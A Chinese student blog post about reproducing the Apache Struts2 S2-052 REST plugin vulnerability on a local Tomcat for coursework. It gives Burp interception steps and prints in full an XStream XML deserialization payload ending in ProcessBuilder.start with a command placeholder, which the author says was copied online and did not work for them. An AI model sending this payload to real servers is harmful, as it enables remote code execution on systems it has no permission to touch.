标签:data collect flags alt nta tom 本地 star error
1.前言
这学期的工程实践要求复现一个漏洞,随便选了一个看起来蛮简单的Struts2-052,结果是虽然很简单但是我还是做了好久(我好菜啊QAQ)。我使用的系统是ubuntu
2.搭建环境
java
https://www.cnblogs.com/lamp01/p/8932740.html
tomcat
https://www.cnblogs.com/yuhebin/p/8594774.html
3.实现漏洞
访问:http://127.0.0.1:8080/struts2-rest-showcase/ (如果burp抓不了本地包可以用ip代替,我的就抓不了,也不知道咋回事……)
edit进行编译页面,然后提交,并用burp抓包。
修改包如下:
将:
Content-Type: application/x-www-form-urlencoded 修改为:
Content-Type: application/xml
post数据改成:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString><flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>命令代码</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
poc是网上抄的,但是我不知道为什么无法实现,还在找原因。
标签:data collect flags alt nta tom 本地 star error
原文地址:https://www.cnblogs.com/fungus399/p/12173254.html